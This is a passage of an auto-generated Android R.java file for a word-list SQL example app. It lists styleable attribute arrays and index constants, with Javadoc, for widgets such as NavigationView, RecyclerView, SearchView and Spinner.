<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:subMenuArrow
*/
public static final int MenuView_subMenuArrow = 8;
/** Attributes that can be used with a NavigationView.
<p>Includes the following attributes:</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Attribute</th><th>Description</th></tr>
<tr><td><code>{@link #NavigationView_android_background android:background}</code></td><td></td></tr>
<tr><td><code>{@link #NavigationView_android_fitsSystemWindows android:fitsSystemWindows}</code></td><td></td></tr>
<tr><td><code>{@link #NavigationView_android_maxWidth android:maxWidth}</code></td><td></td></tr>
<tr><td><code>{@link #NavigationView_elevation com.android.example.wordlistsql:elevation}</code></td><td></td></tr>
<tr><td><code>{@link #NavigationView_headerLayout com.android.example.wordlistsql:headerLayout}</code></td><td></td></tr>
<tr><td><code>{@link #NavigationView_itemBackground com.android.example.wordlistsql:itemBackground}</code></td><td></td></tr>
<tr><td><code>{@link #NavigationView_itemIconTint com.android.example.wordlistsql:itemIconTint}</code></td><td></td></tr>
<tr><td><code>{@link #NavigationView_itemTextAppearance com.android.example.wordlistsql:itemTextAppearance}</code></td><td></td></tr>
<tr><td><code>{@link #NavigationView_itemTextColor com.android.example.wordlistsql:itemTextColor}</code></td><td></td></tr>
<tr><td><code>{@link #NavigationView_menu com.android.example.wordlistsql:menu}</code></td><td></td></tr>
</table>
@see #NavigationView_android_background
@see #NavigationView_android_fitsSystemWindows
@see #NavigationView_android_maxWidth
@see #NavigationView_elevation
@see #NavigationView_headerLayout
@see #NavigationView_itemBackground
@see #NavigationView_itemIconTint
@see #NavigationView_itemTextAppearance
@see #NavigationView_itemTextColor
@see #NavigationView_menu
*/
public static final int[] NavigationView = {
0x010100d4, 0x010100dd, 0x0101011f, 0x7f01001c,
0x7f0100d9, 0x7f0100da, 0x7f0100db, 0x7f0100dc,
0x7f0100dd, 0x7f0100de
};
/**
<p>This symbol is the offset where the {@link android.R.attr#background}
attribute's value can be found in the {@link #NavigationView} array.
@attr name android:background
*/
public static final int NavigationView_android_background = 0;
/**
<p>This symbol is the offset where the {@link android.R.attr#fitsSystemWindows}
attribute's value can be found in the {@link #NavigationView} array.
@attr name android:fitsSystemWindows
*/
public static final int NavigationView_android_fitsSystemWindows = 1;
/**
<p>This symbol is the offset where the {@link android.R.attr#maxWidth}
attribute's value can be found in the {@link #NavigationView} array.
@attr name android:maxWidth
*/
public static final int NavigationView_android_maxWidth = 2;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#elevation}
attribute's value can be found in the {@link #NavigationView} array.
<p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:elevation
*/
public static final int NavigationView_elevation = 3;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#headerLayout}
attribute's value can be found in the {@link #NavigationView} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:headerLayout
*/
public static final int NavigationView_headerLayout = 9;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#itemBackground}
attribute's value can be found in the {@link #NavigationView} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:itemBackground
*/
public static final int NavigationView_itemBackground = 7;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#itemIconTint}
attribute's value can be found in the {@link #NavigationView} array.
<p>Must be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:itemIconTint
*/
public static final int NavigationView_itemIconTint = 5;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#itemTextAppearance}
attribute's value can be found in the {@link #NavigationView} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:itemTextAppearance
*/
public static final int NavigationView_itemTextAppearance = 8;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#itemTextColor}
attribute's value can be found in the {@link #NavigationView} array.
<p>Must be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:itemTextColor
*/
public static final int NavigationView_itemTextColor = 6;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#menu}
attribute's value can be found in the {@link #NavigationView} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:menu
*/
public static final int NavigationView_menu = 4;
/** Attributes that can be used with a PopupWindow.
<p>Includes the following attributes:</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Attribute</th><th>Description</th></tr>
<tr><td><code>{@link #PopupWindow_android_popupAnimationStyle android:popupAnimationStyle}</code></td><td></td></tr>
<tr><td><code>{@link #PopupWindow_android_popupBackground android:popupBackground}</code></td><td></td></tr>
<tr><td><code>{@link #PopupWindow_overlapAnchor com.android.example.wordlistsql:overlapAnchor}</code></td><td></td></tr>
</table>
@see #PopupWindow_android_popupAnimationStyle
@see #PopupWindow_android_popupBackground
@see #PopupWindow_overlapAnchor
*/
public static final int[] PopupWindow = {
0x01010176, 0x010102c9, 0x7f0100df
};
/**
<p>This symbol is the offset where the {@link android.R.attr#popupAnimationStyle}
attribute's value can be found in the {@link #PopupWindow} array.
@attr name android:popupAnimationStyle
*/
public static final int PopupWindow_android_popupAnimationStyle = 1;
/**
<p>This symbol is the offset where the {@link android.R.attr#popupBackground}
attribute's value can be found in the {@link #PopupWindow} array.
@attr name android:popupBackground
*/
public static final int PopupWindow_android_popupBackground = 0;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#overlapAnchor}
attribute's value can be found in the {@link #PopupWindow} array.
<p>Must be a boolean value, either "<code>true</code>" or "<code>false</code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:overlapAnchor
*/
public static final int PopupWindow_overlapAnchor = 2;
/** Attributes that can be used with a PopupWindowBackgroundState.
<p>Includes the following attributes:</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Attribute</th><th>Description</th></tr>
<tr><td><code>{@link #PopupWindowBackgroundState_state_above_anchor com.android.example.wordlistsql:state_above_anchor}</code></td><td></td></tr>
</table>
@see #PopupWindowBackgroundState_state_above_anchor
*/
public static final int[] PopupWindowBackgroundState = {
0x7f0100e0
};
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#state_above_anchor}
attribute's value can be found in the {@link #PopupWindowBackgroundState} array.
<p>Must be a boolean value, either "<code>true</code>" or "<code>false</code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:state_above_anchor
*/
public static final int PopupWindowBackgroundState_state_above_anchor = 0;
/** Attributes that can be used with a RecyclerView.
<p>Includes the following attributes:</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Attribute</th><th>Description</th></tr>
<tr><td><code>{@link #RecyclerView_android_descendantFocusability android:descendantFocusability}</code></td><td></td></tr>
<tr><td><code>{@link #RecyclerView_android_orientation android:orientation}</code></td><td></td></tr>
<tr><td><code>{@link #RecyclerView_layoutManager com.android.example.wordlistsql:layoutManager}</code></td><td></td></tr>
<tr><td><code>{@link #RecyclerView_reverseLayout com.android.example.wordlistsql:reverseLayout}</code></td><td></td></tr>
<tr><td><code>{@link #RecyclerView_spanCount com.android.example.wordlistsql:spanCount}</code></td><td></td></tr>
<tr><td><code>{@link #RecyclerView_stackFromEnd com.android.example.wordlistsql:stackFromEnd}</code></td><td></td></tr>
</table>
@see #RecyclerView_android_descendantFocusability
@see #RecyclerView_android_orientation
@see #RecyclerView_layoutManager
@see #RecyclerView_reverseLayout
@see #RecyclerView_spanCount
@see #RecyclerView_stackFromEnd
*/
public static final int[] RecyclerView = {
0x010100c4, 0x010100f1, 0x7f0100e1, 0x7f0100e2,
0x7f0100e3, 0x7f0100e4
};
/**
<p>This symbol is the offset where the {@link android.R.attr#descendantFocusability}
attribute's value can be found in the {@link #RecyclerView} array.
@attr name android:descendantFocusability
*/
public static final int RecyclerView_android_descendantFocusability = 1;
/**
<p>This symbol is the offset where the {@link android.R.attr#orientation}
attribute's value can be found in the {@link #RecyclerView} array.
@attr name android:orientation
*/
public static final int RecyclerView_android_orientation = 0;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#layoutManager}
attribute's value can be found in the {@link #RecyclerView} array.
<p>Must be a string value, using '\\;' to escape characters such as '\\n' or '\\uxxxx' for a unicode character.
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:layoutManager
*/
public static final int RecyclerView_layoutManager = 2;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#reverseLayout}
attribute's value can be found in the {@link #RecyclerView} array.
<p>Must be a boolean value, either "<code>true</code>" or "<code>false</code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:reverseLayout
*/
public static final int RecyclerView_reverseLayout = 4;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#spanCount}
attribute's value can be found in the {@link #RecyclerView} array.
<p>Must be an integer value, such as "<code>100</code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:spanCount
*/
public static final int RecyclerView_spanCount = 3;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#stackFromEnd}
attribute's value can be found in the {@link #RecyclerView} array.
<p>Must be a boolean value, either "<code>true</code>" or "<code>false</code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:stackFromEnd
*/
public static final int RecyclerView_stackFromEnd = 5;
/** Attributes that can be used with a ScrimInsetsFrameLayout.
<p>Includes the following attributes:</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Attribute</th><th>Description</th></tr>
<tr><td><code>{@link #ScrimInsetsFrameLayout_insetForeground com.android.example.wordlistsql:insetForeground}</code></td><td></td></tr>
</table>
@see #ScrimInsetsFrameLayout_insetForeground
*/
public static final int[] ScrimInsetsFrameLayout = {
0x7f0100e5
};
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#insetForeground}
attribute's value can be found in the {@link #ScrimInsetsFrameLayout} array.
<p>May be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
<p>May be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
@attr name com.android.example.wordlistsql:insetForeground
*/
public static final int ScrimInsetsFrameLayout_insetForeground = 0;
/** Attributes that can be used with a ScrollingViewBehavior_Layout.
<p>Includes the following attributes:</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Attribute</th><th>Description</th></tr>
<tr><td><code>{@link #ScrollingViewBehavior_Layout_behavior_overlapTop com.android.example.wordlistsql:behavior_overlapTop}</code></td><td></td></tr>
</table>
@see #ScrollingViewBehavior_Layout_behavior_overlapTop
*/
public static final int[] ScrollingViewBehavior_Layout = {
0x7f0100e6
};
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#behavior_overlapTop}
attribute's value can be found in the {@link #ScrollingViewBehavior_Layout} array.
<p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:behavior_overlapTop
*/
public static final int ScrollingViewBehavior_Layout_behavior_overlapTop = 0;
/** Attributes that can be used with a SearchView.
<p>Includes the following attributes:</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Attribute</th><th>Description</th></tr>
<tr><td><code>{@link #SearchView_android_focusable android:focusable}</code></td><td></td></tr>
<tr><td><code>{@link #SearchView_android_imeOptions android:imeOptions}</code></td><td></td></tr>
<tr><td><code>{@link #SearchView_android_inputType android:inputType}</code></td><td></td></tr>
<tr><td><code>{@link #SearchView_android_maxWidth android:maxWidth}</code></td><td></td></tr>
<tr><td><code>{@link #SearchView_closeIcon com.android.example.wordlistsql:closeIcon}</code></td><td></td></tr>
<tr><td><code>{@link #SearchView_commitIcon com.android.example.wordlistsql:commitIcon}</code></td><td></td></tr>
<tr><td><code>{@link #SearchView_defaultQueryHint com.android.example.wordlistsql:defaultQueryHint}</code></td><td></td></tr>
<tr><td><code>{@link #SearchView_goIcon com.android.example.wordlistsql:goIcon}</code></td><td></td></tr>
<tr><td><code>{@link #SearchView_iconifiedByDefault com.android.example.wordlistsql:iconifiedByDefault}</code></td><td></td></tr>
<tr><td><code>{@link #SearchView_layout com.android.example.wordlistsql:layout}</code></td><td></td></tr>
<tr><td><code>{@link #SearchView_queryBackground com.android.example.wordlistsql:queryBackground}</code></td><td></td></tr>
<tr><td><code>{@link #SearchView_queryHint com.android.example.wordlistsql:queryHint}</code></td><td></td></tr>
<tr><td><code>{@link #SearchView_searchHintIcon com.android.example.wordlistsql:searchHintIcon}</code></td><td></td></tr>
<tr><td><code>{@link #SearchView_searchIcon com.android.example.wordlistsql:searchIcon}</code></td><td></td></tr>
<tr><td><code>{@link #SearchView_submitBackground com.android.example.wordlistsql:submitBackground}</code></td><td></td></tr>
<tr><td><code>{@link #SearchView_suggestionRowLayout com.android.example.wordlistsql:suggestionRowLayout}</code></td><td></td></tr>
<tr><td><code>{@link #SearchView_voiceIcon com.android.example.wordlistsql:voiceIcon}</code></td><td></td></tr>
</table>
@see #SearchView_android_focusable
@see #SearchView_android_imeOptions
@see #SearchView_android_inputType
@see #SearchView_android_maxWidth
@see #SearchView_closeIcon
@see #SearchView_commitIcon
@see #SearchView_defaultQueryHint
@see #SearchView_goIcon
@see #SearchView_iconifiedByDefault
@see #SearchView_layout
@see #SearchView_queryBackground
@see #SearchView_queryHint
@see #SearchView_searchHintIcon
@see #SearchView_searchIcon
@see #SearchView_submitBackground
@see #SearchView_suggestionRowLayout
@see #SearchView_voiceIcon
*/
public static final int[] SearchView = {
0x010100da, 0x0101011f, 0x01010220, 0x01010264,
0x7f0100e7, 0x7f0100e8, 0x7f0100e9, 0x7f0100ea,
0x7f0100eb, 0x7f0100ec, 0x7f0100ed, 0x7f0100ee,
0x7f0100ef, 0x7f0100f0, 0x7f0100f1, 0x7f0100f2,
0x7f0100f3
};
/**
<p>This symbol is the offset where the {@link android.R.attr#focusable}
attribute's value can be found in the {@link #SearchView} array.
@attr name android:focusable
*/
public static final int SearchView_android_focusable = 0;
/**
<p>This symbol is the offset where the {@link android.R.attr#imeOptions}
attribute's value can be found in the {@link #SearchView} array.
@attr name android:imeOptions
*/
public static final int SearchView_android_imeOptions = 3;
/**
<p>This symbol is the offset where the {@link android.R.attr#inputType}
attribute's value can be found in the {@link #SearchView} array.
@attr name android:inputType
*/
public static final int SearchView_android_inputType = 2;
/**
<p>This symbol is the offset where the {@link android.R.attr#maxWidth}
attribute's value can be found in the {@link #SearchView} array.
@attr name android:maxWidth
*/
public static final int SearchView_android_maxWidth = 1;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#closeIcon}
attribute's value can be found in the {@link #SearchView} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:closeIcon
*/
public static final int SearchView_closeIcon = 8;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#commitIcon}
attribute's value can be found in the {@link #SearchView} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:commitIcon
*/
public static final int SearchView_commitIcon = 13;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#defaultQueryHint}
attribute's value can be found in the {@link #SearchView} array.
<p>Must be a string value, using '\\;' to escape characters such as '\\n' or '\\uxxxx' for a unicode character.
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:defaultQueryHint
*/
public static final int SearchView_defaultQueryHint = 7;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#goIcon}
attribute's value can be found in the {@link #SearchView} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:goIcon
*/
public static final int SearchView_goIcon = 9;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#iconifiedByDefault}
attribute's value can be found in the {@link #SearchView} array.
<p>Must be a boolean value, either "<code>true</code>" or "<code>false</code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:iconifiedByDefault
*/
public static final int SearchView_iconifiedByDefault = 5;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#layout}
attribute's value can be found in the {@link #SearchView} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:layout
*/
public static final int SearchView_layout = 4;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#queryBackground}
attribute's value can be found in the {@link #SearchView} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:queryBackground
*/
public static final int SearchView_queryBackground = 15;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#queryHint}
attribute's value can be found in the {@link #SearchView} array.
<p>Must be a string value, using '\\;' to escape characters such as '\\n' or '\\uxxxx' for a unicode character.
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:queryHint
*/
public static final int SearchView_queryHint = 6;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#searchHintIcon}
attribute's value can be found in the {@link #SearchView} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:searchHintIcon
*/
public static final int SearchView_searchHintIcon = 11;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#searchIcon}
attribute's value can be found in the {@link #SearchView} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:searchIcon
*/
public static final int SearchView_searchIcon = 10;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#submitBackground}
attribute's value can be found in the {@link #SearchView} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:submitBackground
*/
public static final int SearchView_submitBackground = 16;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#suggestionRowLayout}
attribute's value can be found in the {@link #SearchView} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:suggestionRowLayout
*/
public static final int SearchView_suggestionRowLayout = 14;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#voiceIcon}
attribute's value can be found in the {@link #SearchView} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:voiceIcon
*/
public static final int SearchView_voiceIcon = 12;
/** Attributes that can be used with a SnackbarLayout.
<p>Includes the following attributes:</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Attribute</th><th>Description</th></tr>
<tr><td><code>{@link #SnackbarLayout_android_maxWidth android:maxWidth}</code></td><td></td></tr>
<tr><td><code>{@link #SnackbarLayout_elevation com.android.example.wordlistsql:elevation}</code></td><td></td></tr>
<tr><td><code>{@link #SnackbarLayout_maxActionInlineWidth com.android.example.wordlistsql:maxActionInlineWidth}</code></td><td></td></tr>
</table>
@see #SnackbarLayout_android_maxWidth
@see #SnackbarLayout_elevation
@see #SnackbarLayout_maxActionInlineWidth
*/
public static final int[] SnackbarLayout = {
0x0101011f, 0x7f01001c, 0x7f0100f4
};
/**
<p>This symbol is the offset where the {@link android.R.attr#maxWidth}
attribute's value can be found in the {@link #SnackbarLayout} array.
@attr name android:maxWidth
*/
public static final int SnackbarLayout_android_maxWidth = 0;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#elevation}
attribute's value can be found in the {@link #SnackbarLayout} array.
<p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:elevation
*/
public static final int SnackbarLayout_elevation = 1;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#maxActionInlineWidth}
attribute's value can be found in the {@link #SnackbarLayout} array.
<p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:maxActionInlineWidth
*/
public static final int SnackbarLayout_maxActionInlineWidth = 2;
/** Attributes that can be used with a Spinner.
<p>Includes the following attributes:</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Attribute</th><th>Description</th></tr>
<tr><td><code>{@link #Spinner_android_dropDownWidth android:dropDownWidth}</code></td><td></td></tr>
<tr><td><code>{@link #Spinner_android_entries android:entries}</code></td><td></td></tr>
<tr><td><code>{@link #Spinner_android_popupBackground android:popupBackground}</code></td><td></td></tr>
<tr><td><code>{@link #Spinner_android_prompt android:prompt}</code></td><td></td></tr>
<tr><td><code>{@link #Spinner_popupTheme com.android.example.wordlistsql:popupTheme}</code></td><td></td></tr>
</table>
@see #Spinner_android_dropDownWidth
@see #Spinner_android_entries
@see #Spinner_android_popupBackground
@see #Spinner_android_prompt
@see #Spinner_popupTheme
*/
public static final int[] Spinner = {
0x010100b2, 0x01010176, 0x0101017b, 0x01010262,
0x7f01001d
};
/**
<p>This symbol is the offset where the {@link android.R.attr#dropDownWidth}
attribute's value can be found in the {@link #Spinner} array.
@attr name android:dropDownWidth
*/
public static final int Spinner_android_dropDownWidth = 3;
/**
<p>This symbol is the offset where the {@link android.R.attr#entries}
attribute's value can be found in the {@link #Spinner} array.
@attr name android:entries
*/
public static final int Spinner_android_entries = 0;
/**
<p>This symbol is the offset where the {@link android.R.attr#popupBackground}
attribute's value can be found in the {@link #Spinner} array.
@attr name android:popupBackground
*/
public static final int Spinner_android_popupBackground = 1;
/**
<p>This symbol is the offset where the {@link android.R.attr#prompt}
attribute's value can be found in the {@link #Spinner} array.
@attr name android:prompt
*/
public static final int Spinner_android_prompt = 2;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#popupTheme}
attribute's value can be found in the {@link #Spinner} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:popupTheme
*/
public static final int Spinner_popupTheme = 4;
/** Attributes that can be used with a SwitchCompat.
<p>Includes the following attributes:</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Attribute</th><th>Description</th></tr>
<tr><td><code>{@link #SwitchCompat_android_textOff android:textOff}</code></td><td></td></tr>
<tr><td><code>{@link #SwitchCompat_android_textOn android:textOn}</code></td><td></td></tr>
<tr><td><code>{@link #SwitchCompat_android_thumb android:thumb}</code></td><td></td></tr>
<tr><td><code>{@link #SwitchCompat_showText com.android.example.wordlistsql:showText}</code></td><td></td></tr>
<tr><td><code>{@link #SwitchCompat_splitTrack com.android.example.wordlistsql:splitTrack}</code></td><td></td></tr>
<tr><td><code>{@link #SwitchCompat_switchMinWidth com.android.example.wordlistsql:switchMinWidth}</code></td><td></td></tr>
<tr><td><code>{@link #SwitchCompat_switchPadding com.android.example.wordlistsql:switchPadding}</code></td><td></td></tr>
<tr><td><code>{@link #SwitchCompat_switchTextAppearance com.android.example.wordlistsql:switchTextAppearance}</code></td><td></td></tr>
<tr><td><code>{@link #SwitchCompat_thumbTextPadding com.android.example.wordlistsql:thumbTextPadding}</code></td><td></td></tr>
<tr><td><code>{@link #SwitchCompat_thumbTint com.android.example.wordlistsql:thumbTint}</code></td><td></td></tr>
<tr><td><code>{@link #SwitchCompat_thumbTintMode com.android.example.wordlistsql:thumbTintMode}</code></td><td></td></tr>
<tr><td><code>{@link #SwitchCompat_track com.android.example.wordlistsql:track}</code></td><td></td></tr>
<tr><td><code>{@link #SwitchCompat_trackTint com.android.example.wordlistsql:trackTint}</code></td><td></td></tr>
<tr><td><code>{@link #SwitchCompat_trackTintMode com.android.example.wordlistsql:trackTintMode}</code></td><td></td></tr>
</table>
